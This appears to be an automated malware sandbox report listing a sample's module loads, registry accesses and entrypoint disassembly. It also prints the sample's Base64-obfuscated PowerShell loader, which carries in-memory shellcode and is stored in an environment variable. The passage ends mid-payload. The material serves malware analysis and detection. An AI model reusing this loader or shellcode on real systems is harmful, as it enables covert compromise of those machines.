"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77720000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6d810000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "CRYPTSP.DLL" at base 752d0000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 75060000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "RPCRTREMOTE.DLL" at base 75860000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6f240000 "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6d9e0000 "mshta.exe" loaded module "OLE32.DLL" at base 77860000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74430000 "mshta.exe" loaded module "DWMAPI.DLL" at base 74000000 "mshta.exe" loaded module "SHLWAPI.DLL" at base 77800000 "mshta.exe" loaded module "KERNEL32.DLL" at base 77720000 "mshta.exe" loaded module "OLEAUT32.DLL" at base 76290000 "mshta.exe" loaded module "CLBCATQ.DLL" at base 77b10000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\MSHTML.DLL" at base 63e80000 "mshta.exe" loaded module "UXTHEME.DLL" at base 74430000 "mshta.exe" loaded module "COMCTL32.DLL" at base 74790000 "mshta.exe" loaded module "SECUR32.DLL" at base 755f0000 "mshta.exe" loaded module "RPCRT4.DLL" at base 76330000 "mshta.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 732b0000 "mshta.exe" loaded module "SHELL32.DLL" at base 767b0000 "mshta.exe" loaded module "URLMON.DLL" at base 75c00000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\MSIMTF.DLL" at base 6e360000 "mshta.exe" loaded module "USER32.DLL" at base 76530000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 77860000 "mshta.exe" loaded module "OLEACC.DLL" at base 6c230000 "mshta.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 77700000 "mshta.exe" loaded module "ADVAPI32.DLL" at base 76700000 "mshta.exe" loaded module "CRYPTSP.DLL" at base 752d0000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 75060000 "mshta.exe" loaded module "CRYPTBASE.DLL" at base 757c0000 "mshta.exe" loaded module "RPCRTREMOTE.DLL" at base 75860000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 76290000 "mshta.exe" loaded module "SXS.DLL" at base 757d0000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 6c230000 "mshta.exe" loaded module "MSHTML.DLL" at base 63e80000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT9.DLL" at base 63a20000 "mshta.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75b10000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 65810000 "mshta.exe" loaded module "PROPSYS.DLL" at base 74470000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74470000 "mshta.exe" loaded module "NTMARTA.DLL" at base 74d30000 "mshta.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 77700000 "mshta.exe" loaded module "PROFAPI.DLL" at base 758d0000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 75c00000 "mshta.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 75900000 "mshta.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77720000 "mshta.exe" loaded module "SETUPAPI.DLL" at base 77560000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75770000 "mshta.exe" loaded module "MSLS31.DLL" at base 704e0000 "mshta.exe" loaded module "D2D1.DLL" at base 636d0000 "mshta.exe" loaded module "DWRITE.DLL" at base 63590000 "mshta.exe" loaded module "DXGI.DLL" at base 72290000 "mshta.exe" loaded module "GDI32.DLL" at base 77410000 "mshta.exe" loaded module "WINTRUST.DLL" at base 75ab0000 "mshta.exe" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 6fd10000 "mshta.exe" loaded module "XMLLITE.DLL" at base 73fd0000 "mshta.exe" loaded module "D3D11.DLL" at base 72110000 "mshta.exe" loaded module "D3D10WARP.DLL" at base 633a0000 "mshta.exe" loaded module "%WINDIR%\SYSTEM32\D3D10WARP.DLL" at base 633a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71f50000 "powershell.exe" loaded module "KERNEL32" at base 77720000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 63270000 "powershell.exe" loaded module "USER32.DLL" at base 76530000 "powershell.exe" loaded module "MSCOREE.DLL" at base 6c1a0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 76330000 "powershell.exe" loaded module "KERNEL32.DLL" at base 77720000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 6c1a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 61e60000 "powershell.exe" loaded module "OLE32.DLL" at base 77860000 "powershell.exe" loaded module "CRYPTBASE.DLL" at base 757c0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 76290000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 61400000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 60be0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.PB378EC07#\D254C63BEDCB76C81C3125BD527B7D1A\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 608b0000 "powershell.exe" loaded module "CRYPTSP.DLL" at base 752d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 75060000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 76700000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAA57FC8CC#\73A1A80AED03E789A49CEC899B7505DD\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 5edc0000 "powershell.exe" loaded module "NTDLL.DLL" at base 779c0000 "powershell.exe" loaded module "VERSION.DLL" at base 74d60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 65590000 "powershell.exe" loaded module "SHELL32.DLL" at base 767b0000 "powershell.exe" loaded module "PSAPI.DLL" at base 77400000 "powershell.exe" loaded module "WINTRUST.DLL" at base 75ab0000 "powershell.exe" loaded module "MSISIP.DLL" at base 69120000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 75980000 "powershell.exe" loaded module "IMM32.DLL" at base 77bf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 65410000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 65400000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DATA\DF2DD09ED7C341842A104E1E668F184E\SYSTEM.DATA.NI.DLL" at base 5e5a0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 5e240000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 5dac0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 60960000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DIRED13B18A9#\2E76676FBD265F70BE92C82BBF76B8E5\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 5d990000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 69140000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 5d900000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.P6F792626#\05765F777020DEEDDC8AD54B48343B9C\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 5d8a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.MF49F6405#\F0821980BFE2FC8375CCFC37DBE6E9D8\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 5d820000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.NUMERICS\E7D6ED984300C7212C6E682C4F730B1E\SYSTEM.NUMERICS.NI.DLL" at base 5d7d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 5d710000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 5d6c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 5d5b0000 "powershell.exe" loaded module "SECUR32.DLL" at base 755f0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 75750000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 77800000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.CSHARP\F73F48AFB5512225DEDAEE9C88AC5050\MICROSOFT.CSHARP.NI.DLL" at base 5d410000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 74430000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 77700000 "powershell.exe" loaded module "RPCRTREMOTE.DLL" at base 75860000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.P521220EA#\45D6173BF76D6C7A206F8F41403F947B\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 5c8a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFE64A9051#\1561B93D6D25C4A9C3E2659AB29A5E73\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 65d40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 5c790000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 77700000 "powershell.exe" loaded module "PROFAPI.DLL" at base 758d0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 753e00003e:T409,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")3f:T52f,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268" file has an entrypoint instructions - "push ebp,push -0x68,push dword ptr [esp + 0xc],push -0xf,push -0x2a,push 0x401e04,call 0x401e79,xor eax, eax,pop esi,mov eax, dword ptr fs:[0],sub esp, 8,mov ecx, dword ptr [esp + 0x10],xor eax, eax,mov dword ptr [esp + 4], eax,mov dword ptr [esp], eax,lea eax, [esp],push ebx,push 0x2d,push eax,push 0x62,push -0xd,push 0x40ad1a,call 0x401d62,add byte ptr [eax], al,add byte ptr [eax + 0x1000935c], bh,push esi,push 0,mov esi, ecx,call 0x40be55,xor edx, edx,or ecx, edx,je 0x4021ce,push 0x45258d," "DISMHOST.EXE.6C8DE937.bin" file has an entrypoint instructions - "call 0x100a7e6,jmp 0x10097f4,int3 ,int3 ,int3 ,int3 ,int3 ,push 0x14,push 0x1010878,call 0x1009d10,and dword ptr [ebp - 4], 0,dec dword ptr [ebp + 0x10],js 0x1009afc,mov ecx, dword ptr [ebp + 8],sub ecx, dword ptr [ebp + 0xc],mov dword ptr [ebp + 8], ecx,call dword ptr [ebp + 0x14],jmp 0x1009abc,mov eax, dword ptr [ebp - 0x14],mov dword ptr [ebp - 0x1c], eax,mov eax, dword ptr [ebp - 0x1c],mov eax, dword ptr [eax],mov dword ptr [ebp - 0x20], eax,mov eax, dword ptr [ebp - 0x20],cmp dword ptr [eax], 0xe06d7363,je 0x1009af3,mov dword ptr [ebp - 0x24], 0,mov eax, dword ptr [ebp - 0x24],ret ,call dword ptr [0x1001210],mov esp, dword ptr [ebp - 0x18],"40:T628e,Process "powershell.exe" (UID: 00000000-00003436) was launched with new environment variables: "USERDNSDOMAIN="%OSUSER%-PC", wsxx="iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('I3FmaG94YmUNCnNsZWVwKDE1KTt0cnl7DQojc2tydw0KZnVuY3Rpb24gZ2RlbGVnYXRlew0KI3BmZ2F3cHhtaA0KUGFyYW0gKFtQYXJhbWV0ZXIoUG9zaXRpb249MCxNYW5kYXRvcnk9JFRydWUpXSBbVHlwZVtdXSAkUGFyYW1ldGVycyxbUGFyYW1ldGVyKFBvc2l0aW9uPTEpXSBbVHlwZV0gJFJldHVyblR5cGU9W1ZvaWRdKTsNCiNqY2dhcHdtdXFtDQokVHlwZUJ1aWxkZXI9W0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uRGVmaW5lRHluYW1pY0Fzc2VtYmx5KChOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgiUmVmbGVjdGVkRGVsZWdhdGUiKSksW1N5c3RlbS5SZWZsZWN0aW9uLkVtaXQuQXNzZW1ibHlCdWlsZGVyQWNjZXNzXTo6UnVuKS5EZWZpbmVEeW5hbWljTW9kdWxlKCJJbk1lbW9yeU1vZHVsZSIsJGZhbHNlKS5EZWZpbmVUeXBlKCJYWFgiLCJDbGFzcyxQdWJsaWMsU2VhbGVkLEFuc2lDbGFzcyxBdXRvQ2xhc3MiLFtTeXN0ZW0uTXVsdGljYXN0RGVsZWdhdGVdKTsNCiNpdnBoYWl3Zg0KJFR5cGVCdWlsZGVyLkRlZmluZUNvbnN0cnVjdG9yKCJSVFNwZWNpYWxOYW1lLEhpZGVCeVNpZyxQdWJsaWMiLFtTeXN0ZW0uUmVmbGVjdGlvbi5DYWxsaW5nQ29udmVudGlvbnNdOjpTdGFuZGFyZCwkUGFyYW1ldGVycykuU2V0SW1wbGVtZW50YXRpb25GbGFncygiUnVudGltZSxNYW5hZ2VkIik7DQojYW94eWVjaA0KJFR5cGVCdWlsZGVyLkRlZmluZU1ldGhvZCgiSW52b2tlIiwiUHVibGljLEhpZGVCeVNpZyxOZXdTbG90LFZpcnR1YWwiLCRSZXR1cm5UeXBlLCRQYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCJSdW50aW1lLE1hbmFnZWQiKTsNCiNsZXBiaWh1cw0KcmV0dXJuICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCk7fQ0KI2J0amhkDQpmdW5jdGlvbiBncHJvY3sNCiN1eHV5DQpQYXJhbSAoW1BhcmFtZXRlcihQb3NpdGlvbj0wLE1hbmRhdG9yeT0kVHJ1ZSldIFtTdHJpbmddICRNb2R1bGUsW1BhcmFtZXRlcihQb3NpdGlvbj0xLE1hbmRhdG9yeT0kVHJ1ZSldIFtTdHJpbmddICRQcm9jZWR1cmUpOw0KI3ptb21rdg0KJFN5c3RlbUFzc2VtYmx5PVtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkdldEFzc2VtYmxpZXMoKXxXaGVyZS1PYmplY3R7JF8uR2xvYmFsQXNzZW1ibHlDYWNoZSAtQW5kICRfLkxvY2F0aW9uLlNwbGl0KCJcIilbLTFdLkVxdWFscygiU3lzdGVtLmRsbCIpfTsNCiN4eW5ieGhqYg0KJFVuc2FmZU5hdGl2ZU1ldGhvZHM9JFN5c3RlbUFzc2VtYmx5LkdldFR5cGUoIk1pY3Jvc29mdC5XaW4zMi5VbnNhZmVOYXRpdmVNZXRob2RzIik7DQojcHZ3Yg0KcmV0dXJuICRVbnNhZmVOYXRpdmVNZXRob2RzLkdldE1ldGhvZCgiR2V0UHJvY0FkZHJlc3MiKS5JbnZva2UoJG51bGwsQChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZl0oTmV3LU9iamVjdCBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuSGFuZGxlUmVmKChOZXctT2JqZWN0IEludFB0ciksJFVuc2FmZU5hdGl2ZU1ldGhvZHMuR2V0TWV0aG9kKCJHZXRNb2R1bGVIYW5kbGUiKS5JbnZva2UoJG51bGwsQCgkTW9kdWxlKSkpKSwkUHJvY2VkdXJlKSk7fQ0KI2V2ZmdlZ3h3bQ0KW0J5dGVbXV0gJHNjMzIgPSAweDU1LDB4OEIsMHhFQywweDgxLDB4QzQsMHgwMCwweEZBLDB4RkYsMHhGRiwweDUzLDB4NTYsMHg1NywweDUzLDB4NTYsMHg1NywweEZDLDB4MzEsMHhEMiwweDY0LDB4OEIsMHg1Miw8I2hvaCM+MHgzMCwweDhCLDB4NTIsMHgwQywweDhCLDB4NTIsMHgxNCw8I2lveCM+MHg4QiwweDcyLDB4MjgsPCNmYSM+MHg2QSwweDE4LDB4NTksMHgzMSwweEZGLDB4MzEsMHhDMCwweEFDLDB4M0MsMHg2MSwweDdDLDB4MDIsMHgyQywweDIwLDB4QzEsMHhDRiwweDBELDB4MDEsMHhDNywweEUyLDB4RjAsMHg4MSwweEZGLDB4NUIsMHhCQywweDRBLDB4NkEsMHg4QiwweDVBLDB4MTAsMHg4QiwweDEyLDB4NzUsMHhEQiwweDg5LDB4NUQsMHhGQywweDVGLDB4NUUsMHg1QiwweDhCLDB4NDUsMHhGQywweDg5LDB4NDUsMHhENCwweDhCLDB4NDUsMHhENCwweDY2LDB4ODEsMHgzOCwweDRELDB4NUEsMHgwRiwweDg1LDB4MEYsMHgwMiwweDAwLDB4MDAsMHg4QiwweDQ1LDB4RkMsMHgzMywweEQyLDB4NTIsMHg1MCwweDhCLDB4NDUsMHhENCwweDhCLDB4NDAsMHgzQywweDk5LDB4MDMsMHgwNCwweDI0LDB4MTMsMHg1NCwweDI0LDB4MDQsMHg4MywweEM0LDB4MDgsMHg4OSwweDQ1LDB4RDAsMHg4QiwweDQ1LDB4RDAsMHg4MSwweDM4LDB4NTAsMHg0NSwweDAwLDB4MDAsMHgwRiwweDg1LDB4RTUsPCN3eCM+MHgwMSwweDAwLDwjenEjPjB4MDAsMHg4QiwweDQ1LDB4RDAsPCN4cG8jPjB4OEIsMHg0MCwweDc4LDB4MDMsMHg0NSwweEZDLDB4ODksMHg0NSwweENDLDwjdWkjPjB4OEIsMHg0NSwweENDLDB4OEIsMHg0MCwweDE4LDB4ODUsMHhDMCwweDBGLDB4OEMsMHhDQiwweDAxLDB4MDAsMHgwMCwweDQwLDB4ODksMHg4NSwweDNDLDB4RkYsMHhGRiw8I3ZidSM+MHhGRiwweDMzLDB4RjYsMHg4QiwweDQ1LDwjc2tyIz4weEZDLDB4MzMsMHhEMiwweDUyLDB4NTAsMHg4QiwweDQ1LDB4Q0MsMHg4QiwweDQwLDB4MjAsMHgzMywweEQyLDwjd3hrIz4weDUyLDB4NTAsMHg4QiwweEM2LDB4QzEsMHhFMCwweDAyLDB4OTksMHgwMywweDA0LDB4MjQsPCN5ZWQjPjB4MTMsMHg1NCw8I3hwIz4weDI0LDB4MDQsMHg4MywweEM0LDB4MDgsMHgwMywweDA0LDB4MjQsMHgxMywweDU0LDB4MjQsMHgwNCwweDgzLDB4QzQsMHgwOCwweDhCLDB4MDgsMHgwMywweDRELDB4RkMsPCNwYSM+MHg4MSwweDM5LDB4NEMsPCNsaWEjPjB4NkYsMHg2MSwweDY0LDB4NzUsMHg1NiwweDhELDB4NDEsMHgwNCwweDgxLDB4MzgsPCNkciM+MHg0QywweDY5LDB4NjIsMHg3MiwweDc1LDB4NEIsMHg4RCwweDQxLDwjeWNoIz4weDA4LDB4ODEsMHgzOCwweDYxLDB4NzIsMHg3OSwweDQxLDB4NzUsMHg0MCwweDhELDB4NDEsMHgwQywweDgwLDB4MzgsMHgwMCwweDc1LDB4MzgsMHg4QiwweDQ1LDwjeW4jPjB4Q0MsPCNzeHAjPjB4OEIsPCNpdiM+MHg0MCwweDI0LDB4MDMsMHg0NSwweEZDLDB4MzMsMHhEMiwweDUyLDwjaWUjPjB4NTAsMHg4QiwweEM2LDB4MDMsMHhDMCwweDk5LDB4MDMsMHgwNCwweDI0LDB4MTMsMHg1NCwweDI0LDB4MDQsMHg4MywweEM0LDB4MDgsMHg2NiwweDhCLDB4MDAsMHg4QiwweDU1LDB4Q0MsMHg4QiwweDUyLDB4MUMsMHgwMywweDU1LDB4RkMsMHgwRiwweEI3LDB4QzAsMHhDMSwweEUwLDB4MDIsPCNhbCM+MHgwMywweEQwLDwjbGZxIz4weDhCLDB4MDIsMHgwMywweDQ1LDB4RkMsMHg4OSwweDQ1LDB4QkMsMHg4MSwweDM5LDB4NDcsMHg2NSwweDc0LDB4NTAsMHg3NSwweDU2LDB4OEQsMHg0MSwweDA0LDB4ODEsMHgzOCwweDcyLDB4NkYsMHg2MywweDQxLDB4NzUsMHg0QiwweDhELDB4NDEsMHgwOCwweDgxLDB4MzgsMHg2NCwweDY0LDB4NzIsMHg2NSwweDc1LDB4NDAsMHg4RCwweDQxLDB4MEUsMHg4MCwweDM4LDB4MDAsMHg3NSwweDM4LDB4OEIsMHg0NSwweENDLDB4OEIsMHg0MCwweDI0LDB4MDMsMHg0NSwweEZDLDB4MzMsMHhEMiwweDUyLDB4NTAsMHg4QiwweEM2LDB4MDMsMHhDMCwweDk5LDB4MDMsMHgwNCwweDI0LDB4MTMsMHg1NCw8I2lnIz4weDI0LDB4MDQsMHg4MywweEM0LDB4MDgsMHg2NiwweDhCLDwjYXojPjB4MDAsMHg4QiwweDU1LDwjaXBiIz4weENDLDB4OEIsMHg1MiwweDFDLDB4MDMsMHg1NSwweEZDLDB4MEYsMHhCNywweEMwLDB4QzEsMHhFMCwweDAyLDB4MDMsMHhEMCwweDhCLDB4MDIsMHgwMyw8I212aiM+MHg0NSwweEZDLDB4ODksMHg0NSwweEI4LDB4ODEsMHgzOSwweDU2LDB4NjksMHg3MiwweDc0LDB4NzUsMHg1NiwweDhELDB4NDEsMHgwNCwweDgxLDB4MzgsMHg3NSwweDYxLDB4NkMsMHg0MSwweDc1LDB4NEIsMHg4RCwweDQxLDB4MDgsMHg4MSwweDM4LDwjdGojPjB4NkMsMHg2QywweDZGLDB4NjMsPCNodCM+MHg3NSwweDQwLDB4OEQsMHg0MSwweDBDLDB4ODAsMHgzOCwweDAwLDB4NzUsMHgzOCwweDhCLDB4NDUsMHhDQywweDhCLDB4NDAsMHgyNCwweDAzLDB4NDUsPCNva2kjPjB4RkMsMHgzMywweEQyLDB4NTIsPCNmaSM+MHg1MCwweDhCLDB4QzYsMHgwMyw8I2tzYiM+MHhDMCwweDk5LDB4MDMsMHgwNCwweDI0LDB4MTMsPCN2byM+MHg1NCwweDI0LDB4MDQsMHg4MywweEM0LDB4MDgsMHg2NiwweDhCLDB4MDAsMHg4QiwweDU1LDwjemgjPjB4Q0MsMHg4QiwweDUyLDB4MUMsMHgwMywweDU1LDB4RkMsMHgwRiwweEI3LDB4QzAsMHhDMSwweEUwLDB4MDIsMHgwMywweEQwLDB4OEIsMHgwMiwweDAzLDB4NDUsMHhGQywweDg5LDwjcml3Iz4weDQ1LDwjZHcjPjB4QTgsMHg4MSwweDM5LDB4NDUsMHg3OCwweDY5LDwjZmRxIz4weDc0LDB4NzUsPCNpZWgjPjB4NjMsMHg4RCwweDQxLDB4MDQsMHg4MSwweDM4LDB4NTAsMHg3MiwweDZGLDB4NjMsMHg3NSwweDU4LDB4OEQsMHg0MSwweDA4LDB4ODAsMHgzOCwweDY1LDB4NzUsMHg1MCw8I2pvIz4weDhELDB4NDEsMHgwOSwweDgwLDB4MzgsMHg3MywweDc1LDwjcXAjPjB4NDgsPCN5aSM+MHg4RCwweDQxLDB4MEEsMHg4MCwweDM4LDB4NzMsPCN0ZCM+MHg3NSwweDQwLDB4ODMsMHhDMSwweDBCLDB4ODAsMHgzOSwweDAwLDwjeXh3Iz4weDc1LDB4MzgsMHg4Qiw8I29lbyM+MHg0NSwweENDLDB4OEIsMHg0MCwweDI0LDB4MDMsPCNqbiM+MHg0NSwweEZDLDB4MzMsMHhEMiwweDUyLDB4NTAsMHg4QiwweEM2LDB4MDMsMHhDMCwweDk5LDB4MDMsMHgwNCw8I3RsIz4weDI0LDB4MTMsMHg1NCwweDI0LDB4MDQsMHg4MywweEM0LDB4MDgsMHg2NiwweDhCLDB4MDAsMHg4QiwweDU1LDB4Q0MsMHg4QiwweDUyLDB4MUMsMHgwMywweDU1LDB4RkMsMHgwRiwweEI3LDwjZGpxIz4weEMwLDB4QzEsMHhFMCwweDAyLDB4MDMsMHhEMCwweDhCLDB4MDIsMHgwMywweDQ1LDB4RkMsMHg4OSwweDQ1LDB4QTQsMHg0NiwweEZGLDB4OEQsMHgzQywweEZGLDB4RkYsMHhGRiwweDBGLDB4ODUsMHgzRSwweEZFLDB4RkYsMHhGRiwweEM2LDB4ODUsMHgyRiwweEZGLDB4RkYsMHhGRiwweDYxLDB4QzYsMHg4NSwweDMwLDB4RkYsMHhGRiwweEZGLDB4NjQsMHhDNiwweDg1LDB4MzEsMHhGRiwweEZGLDB4RkYsMHg3NiwweEM2LDB4ODUsMHgzMiwweEZGLDB4RkYsMHhGRiwweDYxLDB4QzYsMHg4NSwweDMzLDB4RkYsMHhGRiwweEZGLDB4NzAsMHhDNiwweDg1LDB4MzQsMHhGRiw8I3RjIz4weEZGLDB4RkYsMHg2OSwweEM2LDwjbXlwIz4weDg1LDB4MzUsMHhGRiwweEZGLDB4RkYsMHgzMywweEM2LDB4ODUsMHgzNiwweEZGLDB4RkYsMHhGRiwweDMyLDB4QzYsMHg4NSwweDM3LDB4RkYsMHhGRiwweEZGLDB4MkUsMHhDNiwweDg1LDB4MzgsMHhGRiwweEZGLDB4RkYsMHg2NCwweEM2LDB4ODUsMHgzOSwweEZGLDB4RkYsMHhGRiwweDZDLDB4QzYsMHg4NSwweDNBLDB4RkYsPCNjbmwjPjB4RkYsMHhGRiwweDZDLDB4QzYsMHg4NSwweDNCLDB4RkYsMHhGRiwweEZGLDB4MDAsPCNvd2sjPjB4OEQsMHg4NSwweDJGLDB4RkYsMHhGRi